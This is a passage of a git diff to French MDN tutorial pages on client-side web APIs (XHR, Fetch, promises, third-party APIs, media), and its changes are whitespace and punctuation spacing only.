une fausse base de données ; dans une vraie applicat }; ``` -9. Les étapes précédentes nous ont permis de configurer la requête XHR, mais celle-ci n'est exécutée que lorsqu'on le demande explicitement. Pour ce faire, il faut appeler la méthode {{domxref("XMLHttpRequest.send","send()")}}. Ajoutez la ligne suivante à la suite du code déjà écrit : +9. Les étapes précédentes nous ont permis de configurer la requête XHR, mais celle-ci n'est exécutée que lorsqu'on le demande explicitement. Pour ce faire, il faut appeler la méthode {{domxref("XMLHttpRequest.send","send()")}}. Ajoutez la ligne suivante à la suite du code déjà écrit : ```js request.send(); @@ -198,7 +198,7 @@ Voyons comment convertir le dernier exemple, en remplaçant XHR par Fetch. }); ``` -4. Chargez l'exemple dans votre navigateur (en l'exécutant à travers un serveur web) et il devrait produire le même résultat que la version XHR — pourvu que vous utilisiez un navigateur moderne. +4. Chargez l'exemple dans votre navigateur (en l'exécutant à travers un serveur web) et il devrait produire le même résultat que la version XHR — pourvu que vous utilisiez un navigateur moderne. #### Que se passe-t-il dans le code Fetch? @@ -214,9 +214,9 @@ Enfin, dans le corps de la fonction, nous faisons la même chose que nous faisio ### À propos des promesses -Les promesses peuvent être un peu déroutantes au premier abord, ne vous en souciez pas trop pour l'instant. Vous vous y ferez après un certain temps, d'autant plus après en avoir appris davantage sur les APIs JavaScript modernes — la plupart des APIs récentes utilisent beaucoup les promesses. +Les promesses peuvent être un peu déroutantes au premier abord, ne vous en souciez pas trop pour l'instant. Vous vous y ferez après un certain temps, d'autant plus après en avoir appris davantage sur les APIs JavaScript modernes — la plupart des APIs récentes utilisent beaucoup les promesses. -Regardons à nouveau la structure d'une promesse pour voir si nous pouvons en donner plus de sens. +Regardons à nouveau la structure d'une promesse pour voir si nous pouvons en donner plus de sens. #### Promesse 1 @@ -228,7 +228,7 @@ fetch(url).then(function(response) { Si l'on traduit en bon français les instructions JavaScript, on pourrait dire -- `fetch(url)` : récupérer la ressource située à l'adresse `url` +- `fetch(url)` : récupérer la ressource située à l'adresse `url` - `.then(function() { ... })`: quand c'est fait, exécuter la fonction spécifiée On dit qu'une promesse est "résolue" (resolved) lorsque l'opération spécifiée à un moment donné est terminée. En l'occurence, l'opération spécifiée est de récupérer une ressource à une URL donnée (en utilisant une requête HTTP) et de retourner la réponse reçue du serveur. @@ -245,7 +245,7 @@ myFetch.then(function(response) { }); ``` -Parce que la méthode `fetch()` retourne une promesse qui résout une réponse HTTP, la fonction définie à l'intérieur du `.then()` reçoit la réponse en tant que paramètre. Vous pouvez appeler le paramètre comme vous souhaitez — l'exemple ci-dessous fait toujours la même chose : +Parce que la méthode `fetch()` retourne une promesse qui résout une réponse HTTP, la fonction définie à l'intérieur du `.then()` reçoit la réponse en tant que paramètre. Vous pouvez appeler le paramètre comme vous souhaitez — l'exemple ci-dessous fait toujours la même chose : ```js fetch(url).then(function(dogBiscuits) { @@ -273,7 +273,7 @@ L'objet `response` a une méthode {{domxref("Body.text","text()")}}, qui convert #### Chaîner les then() -Notez que le résultat de la fonction appelée par le `.then()` est également retourné par ce dernier, nous pouvons donc mettre les `.then()` bout à bout, en passant le résultat du bloc précédent au prochain. +Notez que le résultat de la fonction appelée par le `.then()` est également retourné par ce dernier, nous pouvons donc mettre les `.then()` bout à bout, en passant le résultat du bloc précédent au prochain. Ainsi, le bloc de code suivant fait la même chose que notre exemple original, mais écrit dans un style différent : @@ -285,7 +285,7 @@ fetch(url).then(function(response) { }); ``` -Beaucoup de développeurs préfèrent ce style, plus "plat" : il évite de définir des fonctions à l'intérieur de fonctions et est plus facile à lire lorsqu'il y a beaucoup de promesses qui s'enchaînent. La seule différence ici est que nous avons une instruction [`return`](/fr/Apprendre/JavaScript/Building_blocks/Return_values) pour retourner `response.text()`, et ce résultat est passé au prochain `.then()`. +Beaucoup de développeurs préfèrent ce style, plus "plat" : il évite de définir des fonctions à l'intérieur de fonctions et est plus facile à lire lorsqu'il y a beaucoup de promesses qui s'enchaînent. La seule différence ici est que nous avons une instruction [`return`](/fr/Apprendre/JavaScript/Building_blocks/Return_values) pour retourner `response.text()`, et ce résultat est passé au prochain `.then()`. ### Quel mécanisme devriez-vous utiliser? @@ -332,7 +332,7 @@ Vous pouvez tester le cas d'échec vous-même : 1. Faites une copie locale des fichiers d'exemple (téléchargez et dézippez le [fichier ZIP can-store](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true)) 2. Éxecutez le code via un serveur web (comme vu précédemment dans {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}}) -3. Modifiez le chemin du fichier à récupérer, mettez un nom de fichier qui n'existe pas, comme 'produc.json'. +3. Modifiez le chemin du fichier à récupérer, mettez un nom de fichier qui n'existe pas, comme 'produc.json'. 4. Maintenant, chargez le fichier index dans votre navigateur (via `localhost:8000`) et regardez dans la console de développement. Vous verrez un message parmi les lignes "Network request for products.json failed with response 404: File not found" (la requête réseau pour products.json a échoué avec la réponse 404: Fichier non trouvé). #### Deuxième Fetch @@ -352,15 +352,15 @@ fetch(url).then(function(response) { }); ``` -Cela fonctionne à peu près de la même manière que le précédent, sauf qu'au lieu d'utiliser {{domxref("Body.json","json()")}}, on utilise {{domxref("Body.blob","blob()")}} — en l'occurence, nous voulons récupérer la réponse sous la forme d'un fichier image, et le format de données que nous utilisons est [Blob](/fr/docs/Web/API/Blob) — ce terme est une abbréviation de "Binary Large Object" (large objet binaire) et peut être utilisé pour représenter de gros objets fichier — tels que des fichiers images ou vidéo. +Cela fonctionne à peu près de la même manière que le précédent, sauf qu'au lieu d'utiliser {{domxref("Body.json","json()")}}, on utilise {{domxref("Body.blob","blob()")}} — en l'occurence, nous voulons récupérer la réponse sous la forme d'un fichier image, et le format de données que nous utilisons est [Blob](/fr/docs/Web/API/Blob) — ce terme est une abbréviation de "Binary Large Object" (large objet binaire) et peut être utilisé pour représenter de gros objets fichier — tels que des fichiers images ou vidéo. -Une fois que nous avons reçu notre blob avec succès, nous créons un objet URL, en utilisant {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Cela renvoie une URL interne temporaire qui pointe vers un blob en mémoire dans le navigateur. Cet objet n'est pas très lisible, mais vous pouvez voir à quoi il ressemble en ouvrant l'application Can Store, Ctrl + Clic droit sur l'image, et sélectionner l'option "Afficher l'image" (peut légèrement varier selon le navigateur que vous utilisez). L'URL créée sera visible à l'intérieur de la barre d'adresse et devrait ressembler à quelque chose comme ça : +Une fois que nous avons reçu notre blob avec succès, nous créons un objet URL, en utilisant {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Cela renvoie une URL interne temporaire qui pointe vers un blob en mémoire dans le navigateur. Cet objet n'est pas très lisible, mais vous pouvez voir à quoi il ressemble en ouvrant l'application Can Store, Ctrl + Clic droit sur l'image, et sélectionner l'option "Afficher l'image" (peut légèrement varier selon le navigateur que vous utilisez). L'URL créée sera visible à l'intérieur de la barre d'adresse et devrait ressembler à quelque chose comme ça : blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4 ### Challenge : une version XHR de Can Store -Comme exercice pratique, nous aimerions que vous essayiez de convertir la version Fetch de l'application en une version XHR. Faites une [copie du fichier ZIP](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true) et essayiez de modifier le JavaScript en conséquence. +Comme exercice pratique, nous aimerions que vous essayiez de convertir la version Fetch de l'application en une version XHR. Faites une [copie du fichier ZIP](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true) et essayiez de modifier le JavaScript en conséquence. Quelques conseils qui pourraient s'avérer utiles : @@ -368,7 +368,7 @@ Quelques conseils qui pourraient s'avérer utiles : - Vous allez devoir utiliser le même modèle que vous avez vu plus tôt dans l'exemple [XHR-basic.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html). - Vous devrez ajouter la gestion des erreurs que nous vous avons montré dans la version Fetch de Can Store : - - La réponse se situe dans `request.response` une fois que l'événement `load` a été déclenché et non dans une promesse. + - La réponse se situe dans `request.response` une fois que l'événement `load` a été déclenché et non dans une promesse. - Le meilleur équivalent à `response.ok` en XHR est de vérifier si {{domxref("XMLHttpRequest.status","request.status")}} vaut 200 ou si {{domxref("XMLHttpRequest.readyState","request.readyState")}} est égal à 4. - Les propriétés permettant d'obtenir le status et le message en cas d'erreur sont toujours `status` et `statusText` mais elles se situent sur l'objet `request` (XHR) et non sur l'objet `response`. diff --git a/files/fr/learn/javascript/client-side_web_apis/index.md b/files/fr/learn/javascript/client-side_web_apis/index.md index 82e3f87488..a04542e8a5 100644 --- a/files/fr/learn/javascript/client-side_web_apis/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/index.md @@ -24,18 +24,18 @@ Lorsque vous écrivez du JavaScript côté client pour des sites Web ou des appl ## Prérequis -Pour tirer le meilleur parti de ce module, vous devriez avoir parcouru les précédents modules JavaScript de la série ([Premiers pas](/fr/docs/Learn/JavaScript/First_steps), [Building blocks](/fr/docs/Learn/JavaScript/Building_blocks) et [objets JavaScript](/fr/docs/Learn/JavaScript/Objects)). Ces modules impliquent tout de même un bon nombre d'utilisations simples de l'API, car il est difficile d'écrire des exemples JavaScript côté client faisant quelque chose d'utile sans eux! Ici, nous passons à un niveau supérieur, en supposant que vous connaissiez le langage JavaScript de base et explorant les APIs Web courantes de manière un peu plus détaillée. +Pour tirer le meilleur parti de ce module, vous devriez avoir parcouru les précédents modules JavaScript de la série ([Premiers pas](/fr/docs/Learn/JavaScript/First_steps), [Building blocks](/fr/docs/Learn/JavaScript/Building_blocks) et [objets JavaScript](/fr/docs/Learn/JavaScript/Objects)). Ces modules impliquent tout de même un bon nombre d'utilisations simples de l'API, car il est difficile d'écrire des exemples JavaScript côté client faisant quelque chose d'utile sans eux! Ici, nous passons à un niveau supérieur, en supposant que vous connaissiez le langage JavaScript de base et explorant les APIs Web courantes de manière un peu plus détaillée. -Une connaissance basique de [HTML](/fr/docs/Learn/HTML) et [CSS](/fr/docs/Learn/CSS) serait aussi utile. +Une connaissance basique de [HTML](/fr/docs/Learn/HTML) et [CSS](/fr/docs/Learn/CSS) serait aussi utile. -> **Note :** Si vous travaillez sur un ordinateur/tablette/autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de code en ligne tel que [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). +> **Note :** Si vous travaillez sur un ordinateur/tablette/autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de code en ligne tel que [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). ## Guides - [Introduction aux API du Web](/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction) - : Tout d'abord, nous survolerons du concept d'API — qu'est-ce que c'est, comment ça fonctionne, comment les utiliser dans votre code, et comment sont-elles structurées. Nous verrons également quelles sont les principales API et leur utilisation. -- [Manipuler des documents](/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents) - - : Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet {{domxref("Document")}}. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement. +- [Manipuler des documents](/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents) + - : Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet {{domxref("Document")}}. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement. - [Récupérer des données du serveur](/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data) - : Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail, a en vérité eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que {{domxref("XMLHttpRequest")}} et l'[API Fetch](/fr/docs/Web/API/Fetch_API). - [APIs tierces](/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs) @@ -43,6 +43,6 @@ Une connaissance basique de [HTML](/fr/docs/Learn/HTML) et [CSS](/fr/docs/Lear - [Dessiner des éléments graphiques](/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics) - : Le navigateur contient des outils de programmation graphique très puissants, du langage [SVG](/fr/docs/Web/SVG) (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir [API Canvas](/fr/docs/Web/HTML/Canvas) et [WebGL](/fr/docs/Web/API/WebGL_API)). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus. - [APIs vidéo et audio](/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) - - : HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc*.* Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés. + - : HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc*.* Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés. - [Stockage côté client](/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage) - : Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage long-terme, de sauvegarder des documents ou sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur, et plus encore. Cet article explique les fondamentaux pour y parvenir. diff --git a/files/fr/learn/javascript/client-side_web_apis/introduction/index.md b/files/fr/learn/javascript/client-side_web_apis/introduction/index.md index 9dd6990199..b5e0871a8f 100644 --- a/files/fr/learn/javascript/client-side_web_apis/introduction/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/introduction/index.md @@ -22,7 +22,7 @@ Tout d'abord, nous verrons dans les grandes lignes ce qu'est une API — leur fo <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Des connaissances de base en informatique, une compréhension de base du <a href="/fr/docs/Learn/HTML">HTML</a> et @@ -34,7 +34,7 @@ Tout d'abord, nous verrons dans les grandes lignes ce qu'est une API — leur fo </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Vous familiariser avec les API, ce qu'elles permettent de faire, et comment les utiliser dans votre code. @@ -43,7 +43,7 @@ Tout d'abord, nous verrons dans les grandes lignes ce qu'est une API — leur fo </tbody> </table> -## Qu'est-ce qu'une API ? +## Qu'est-ce qu'une API ? Les API (_Application Programming Interfaces_ soit « interface de programmation d'application ») sont des constructions disponibles dans les langages de programmation pour permettre aux développeurs de créer plus facilement des fonctionnalités complexes. Elles s'occupent des parties de code plus complexes, fournissant au développeur une syntaxe plus facile à utiliser à la place. @@ -59,7 +59,7 @@ De la même façon, par exemple, pour programmer des graphismes en 3D, il est be ### API JavaScript côté client -Le JavaScript côté client en particulier a de nombreuses API à sa disposition — elles ne font pas partie du langage JavaScript lui-même, elles sont construites par-dessus JavaScript, offrant des super-pouvoirs supplémentaires à utiliser dans votre code. Elles appartiennent généralement à une des deux catégories : +Le JavaScript côté client en particulier a de nombreuses API à sa disposition — elles ne font pas partie du langage JavaScript lui-même, elles sont construites par-dessus JavaScript, offrant des super-pouvoirs supplémentaires à utiliser dans votre code. Elles appartiennent généralement à une des deux catégories : - **Les API du navigateur** sont intégrées au navigateur web et permettent de rendre disponibles les données du navigateur et de son environnement afin de réaliser des choses complexes avec. Ainsi, [l'API Web Audio](/fr/docs/Web/API/Web_Audio_API) fournit des constructions JavaScript pour manipuler des données audio dans le navigateur. On pourra utiliser cette API afin de récupérer une piste audio puis d'abaisser son volume, d'y appliquer des effets, etc. Sous le capot, c'est le navigateur qui s'occupe des couches plus complexes en code « bas niveau » (C++ ou Rust par exemple) afin de réaliser le traitement du signal. Là encore, cette complexité est masquée par l'abstraction offerte par l'API. - **Les API tierces** ne sont pas intégrées au navigateur par défaut, et vous devez généralement récupérer le code de l'API et des informations depuis un site Web. @@ -76,26 +76,26 @@ Ci-dessus, nous avons indiqué ce qu'est une API JavaScript côté client et sa - Les API tierces — Constructions intégrées à des plateformes tierces (par exemple Twitter, Facebook) qui permettent d'utiliser certaines fonctionnalités de ces plateformes dans vos propres pages Web (par exemple: afficher vos derniers Tweets sur votre page Web). - Les bibliothèques JavaScript — Habituellement, un ou plusieurs fichiers JavaScript contenant des [fonctions personnalisées](/fr/docs/Learn/JavaScript/Building_blocks/Functions#custom_functions) que vous pouvez attacher à votre page Web pour accélérer ou activer l'écriture de fonctionnalités courantes. Des exemples incluent jQuery, Mootools et React. - Les _frameworks_ JavaScript — Au‑dessus des bibliothèques, les _frameworks_ JavaScript (par exemple Angular et Ember) sont plutôt des packages de HTML, CSS, JavaScript et autres technologies, que vous installez puis utilisez pour écrire une application web entière. - La différence essentielle entre une bibliothèque et un _framework_ est « l'Inversion du Contrôle ». Avec une bibliothèque, c'est le développeur qui appelle les méthodes de la bibliothèque — il exerce le contrôle. Avec un _framework_, le contrôle est inversé : c'est le _framework_ qui appelle le code du développeur. + La différence essentielle entre une bibliothèque et un _framework_ est « l'Inversion du Contrôle ». Avec une bibliothèque, c'est le développeur qui appelle les méthodes de la bibliothèque — il exerce le contrôle. Avec un _framework_, le contrôle est inversé : c'est le _framework_ qui appelle le code du développeur. -## Que peuvent faire les API ? +## Que peuvent faire les API ? Il y a un beaucoup d'API disponibles dans les navigateurs modernes. Elles permettent de faire un large éventail de choses. Vous pouvez vous en faire une petite idée en jetant un coup d'œil à la [page de l'index des API MDN](/fr/docs/Web/API). ### API de navigateur courantes -En particulier, voici les catégories d'API de navigateur les plus courantes que vous utiliserez (et que nous allons voir dans ce module plus en détail) : +En particulier, voici les catégories d'API de navigateur les plus courantes que vous utiliserez (et que nous allons voir dans ce module plus en détail) : - **Les API pour manipuler des documents** chargés dans le navigateur. L'exemple le plus évident est l'[API DOM (_Document Object Model_)](/fr/docs/Web/API/Document_Object_Model). Elle permet de manipuler le HTML et CSS — créer, supprimer et modifier du code HTML, appliquer de nouveaux styles à votre page dynamiquement, etc. Par exemple, chaque fois que vous voyez une fenêtre pop-up apparaître sur une page, ou qu'un nouveau contenu affiché, c'est que le DOM est en action. Découvrez-en plus sur ces types d'API dans la rubrique [Manipuler des documents](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents). - **Les API pour récupérer des données du serveur**, afin de mettre à jour des sections d'une page Web, sont couramment utilisées. Ce détail apparemment anodin a eu un impact énorme sur les performances et le comportement des sites — si vous avez juste besoin de mettre à jour une liste de produits ou afficher de nouveaux articles disponibles, le faire instantanément sans avoir à recharger toute la page du serveur peut rendre le site ou l'application beaucoup plus réactif et « accrocheur ». [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest) et l'[API Fetch](/fr/docs/Web/API/Fetch_API) sont les API qui rendent ça possible. Vous verrez aussi peut-être le terme **Ajax** pour qualifier cette technique. Pour en savoir plus sur ces API, voir [Récupérer des données du serveur.](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data) - **Les API pour dessiner et manipuler des graphiques** sont maintenant couramment prises en charge dans les navigateurs — les plus populaires sont [Canvas](/fr/docs/Web/API/Canvas_API) et [WebGL](/fr/docs/Web/API/WebGL_API). Elles permettent la mise à jour, par programmation, des pixels contenus dans un élément HTML [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) pour créer des scènes 2D et 3D. Par exemple, vous pouvez dessiner des formes comme des rectangles ou des cercles, importer une image sur le canevas, et lui appliquer un filtre sépia ou niveau de gris à l'aide de l'API Canvas ou encore créer une scène 3D complexe avec éclairage et textures en utilisant WebGL. De telles API sont souvent combinées avec d'autres API, par exemple [`window.requestAnimationFrame()`](/fr/docs/Web/API/Window/requestAnimationFrame), pour créer des boucles d'animation (faire des mises à jour continues de scènes) et ainsi créer des dessins animés et des jeux. Pour en savoir plus sur ces API, voir [Dessiner des éléments graphiques](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics). - **Les API audio et vidéo** comme [`HTMLMediaElement`](/fr/docs/Web/API/HTMLMediaElement), [Web Audio API](/fr/docs/Web/API/Web_Audio_API) ou [WebRTC](/fr/docs/Web/API/WebRTC_API), permettent de faire des choses vraiment intéressantes avec du multimédia, telles que la création de contrôles UI personnalisées pour jouer de l'audio et vidéo, l'affichage de textes comme des légendes et des sous-titres, la récupération de vidéos depuis votre webcam pour l'afficher sur l'ordinateur d'une autre personne dans une visio‑conférence ou encore l'ajout d'effets sur des pistes audio (tels que le gain, la distorsion, la balance, etc.). Pour en savoir plus sur ces API, voir [API audio et vidéo](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs). -- **Les API de périphérique** permettent essentiellement de manier et récupérer des données à partir de périphériques modernes, de manière utile pour les applications Web. Nous avons déjà parlé de l'API de géolocalisation accédant aux données d'emplacement de l'appareil afin que vous puissiez repérer votre position sur une carte. Autres exemples : indiquer à l'utilisateur qu'une mise à jour est disponible pour une application Web via des notifications système (voir l'[API Notifications](/fr/docs/Web/API/Notifications_API)) ou des vibrations (voir l'[API Vibration](/fr/docs/Web/API/Vibration_API)). +- **Les API de périphérique** permettent essentiellement de manier et récupérer des données à partir de périphériques modernes, de manière utile pour les applications Web. Nous avons déjà parlé de l'API de géolocalisation accédant aux données d'emplacement de l'appareil afin que vous puissiez repérer votre position sur une carte. Autres exemples : indiquer à l'utilisateur qu'une mise à jour est disponible pour une application Web via des notifications système (voir l'[API Notifications](/fr/docs/Web/API/Notifications_API)) ou des vibrations (voir l'[API Vibration](/fr/docs/Web/API/Vibration_API)). - **Les API de stockage côté client** deviennent de plus en plus répandues dans les navigateurs Web — la possibilité de stocker des données côté client est très utile si vous souhaitez créer une application qui enregistre son état entre les chargements de page, et peut-être même fonctionner lorsque le périphérique est hors ligne. Il existe un certain nombre d'options disponibles, par exemple le simple stockage nom/valeur avec l'[API Web Storage](/fr/docs/Web/API/Web_Storage_API), et le stockage plus complexe de données tabulaires avec l'[API IndexedDB](/fr/docs/Web/API/IndexedDB_API). Pour en savoir plus sur ces API, voir [Stockage côté client](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage). ### API tierces courantes -Il y a une grande variété d'API tierces ; en voici quelques-unes des plus populaires que vous allez probablement utiliser tôt ou tard : +Il y a une grande variété d'API tierces ; en voici quelques-unes des plus populaires que vous allez probablement utiliser tôt ou tard : - [L'API Twitter](https://dev.twitter.com/overview/documentation) vous permet d'afficher vos derniers tweets sur un site web. - Les API de cartographie comme [Mapquest](https://developer.mapquest.com/) et [Google Maps API](https://developers.google.com/maps/) vous permettent de réaliser toute sorte de cartes dans des pages web. @@ -125,7 +125,7 @@ Prenons comme exemple l'API Web Audio. Il s'agit d'une API assez complexe avec p - [`MediaElementAudioSourceNode`](/fr/docs/Web/API/MediaElementAudioSourceNode), qui représente un élément [`<audio>`](/fr/docs/Web/HTML/Element/audio) contenant du son qu'on veut jouer et manipuler dans le contexte. - [`AudioDestinationNode`](/fr/docs/Web/API/AudioDestinationNode), qui représente la destination de l'audio, c'est-à-dire le composant physique qui sera utilisé pour produire le son (il s'agit généralement des hauts-parleurs ou des écouteurs). -Alors comment ces objets interagissent-ils ? Si vous regardez notre exemple [d'élément audio](https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/web-audio/index.html) (regardez‑le [aussi en direct](https://mdn.github.io/learning-area/javascript/apis/introduction/web-audio/)), vous verrez le code suivant : +Alors comment ces objets interagissent-ils ? Si vous regardez notre exemple [d'élément audio](https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/web-audio/index.html) (regardez‑le [aussi en direct](https://mdn.github.io/learning-area/javascript/apis/introduction/web-audio/)), vous verrez le code suivant : ```html <audio src="outfoxing.mp3"></audio> diff --git a/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.md b/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.md index 79886bea99..036e580063 100644 --- a/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.md @@ -142,7 +142,7 @@ D'autres types de contrôle sont disponibles comme [`mapquest.searchControl()`]( ### Ajouter un marqueur personnalisé -Pour ajouter une icône sur un point de la carte, on pourra utiliser la méthode [`L.marker()`](https://leafletjs.com/reference-1.3.0.html#marker) (documentée dans la documentation de Leaflet.js). Dans `window.onload`, vous pouvez ajouter le fragment de code suivante `window.onload` : +Pour ajouter une icône sur un point de la carte, on pourra utiliser la méthode [`L.marker()`](https://leafletjs.com/reference-1.3.0.html#marker) (documentée dans la documentation de Leaflet.js). Dans `window.onload`, vous pouvez ajouter le fragment de code suivante `window.onload` : ```js L.marker([53.480759, -2.242631], { @@ -252,7 +252,7 @@ Tout d'abord, vous devrez créer une connexion entre l'API et votre application. `submitSearch()` commence par réinitialiser le nombre de page à 0 puis appelle `fetchResults()`. Cette fonction commence par appeler [`preventDefault()`](/fr/docs/Web/API/Event/preventDefault) sur l'évènement afin d'empêcher l'envoi du formulaire vers notre serveur (ce qui casserait l'exemple). Ensuite, on assemble la chaîne de caractères qui formera l'URL sur laquelle on fera la requête. Dans cette URL, on commence par mettre les fragments « obligatoires » (en tout cas pour cette démonstration) : - L'URL de base (telle que fournie par la variable `baseURL`). -- La clé d'API qui a été passée au paramètre d'URL `api-key` et dont la valeur dans notre script est fournie par la variable `key`. +- La clé d'API qui a été passée au paramètre d'URL `api-key` et dont la valeur dans notre script est fournie par la variable `key`. - Le nombre de pages est fourni dans l'URL avec le paramètre `page` et provient de la variable `pageNumber` dans notre script. - Le terme de la recherche est fourni dans l'URL avec le paramètre `q` et provient du texte `searchTerm` fourni par l'élément {{htmlelement("input")}}. - Le type de document qu'on souhaite obtenir dans les résultats est une expression passée via le paramètre `fq` de l'URL. Ici, on souhaite obtenir les articles. @@ -353,7 +353,7 @@ Il y a pas mal de code ici. Reprenons étape par étape pour l'expliquer : - La boucle [`while`](/fr/docs/Web/JavaScript/Reference/Instructions/while) est utilisée afin de supprimer tout le contenu d'un élément du DOM. Dans ce cas, on enlève ce qu'il y a dans l'élément {{htmlelement("section")}}. On teste si la `<section>` possède un élément fils et si c'est le cas, on retire le premier, ainsi de suite jusqu'à ce que l'élément `<section>` n'ait plus d'éléments fils. - Ensuite, on renseigne la variable `articles` avec `json.response.docs` : le tableau contenant les objets qui représentent les articles renvoyés par la recherche. Ce renommage sert uniquement à rendre le code plus simple. -- Le premier bloc [`if()`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) vérifie si 10 ont été renvoyés par l'API (cette dernière envoie les articles par bloc de 10 à chaque appel). Dans ce cas, on affiche l'élément {{htmlelement("nav")}} qui contient des boutons de pagination _10 articles précédents_/_10 articles suivants_. S'il y a moins de 10 articles, tout le contenu tiendra sur une page et il ne sera pas nécessaire d'avoir les boutons. Nous verrons comment « câbler » ces boutons pour qu'ils fonctionnent dans la prochaine section. +- Le premier bloc [`if()`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) vérifie si 10 ont été renvoyés par l'API (cette dernière envoie les articles par bloc de 10 à chaque appel). Dans ce cas, on affiche l'élément {{htmlelement("nav")}} qui contient des boutons de pagination _10 articles précédents_/_10 articles suivants_. S'il y a moins de 10 articles, tout le contenu tiendra sur une page et il ne sera pas nécessaire d'avoir les boutons. Nous verrons comment « câbler » ces boutons pour qu'ils fonctionnent dans la prochaine section. - Le bloc `if()` suivant sert à vérifier si aucun article n'a été renvoyé. Lorsqu'il n'y a aucun résultat, on crée un élément {{htmlelement("p")}} qui affiche le texte "Aucun résultat reçu" puis on insère ce paragraphe dans l'élément `<section>`. - Si des articles sont renvoyés, on commence par créer les éléments qu'on souhaite utiliser afin de les afficher puis on insère le contenu dans chaque puis on insère ces éléments dans le DOM. Pour connaître les propriétés des objets obtenues via l'API, nous avons consulté la référence de l'API _Article Search_ (voir [les API NYTimes](https://developer.nytimes.com/apis)). La plupart de ces opérations sont assez parlantes mais voici quelques-unes qui sont notables : diff --git a/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.md b/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.md index c29906bb7f..9402734f17 100644 --- a/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.md @@ -16,14 +16,14 @@ original_slug: Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}} -HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc*.* Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés. +HTML5 fournit des éléments pour intégrer du 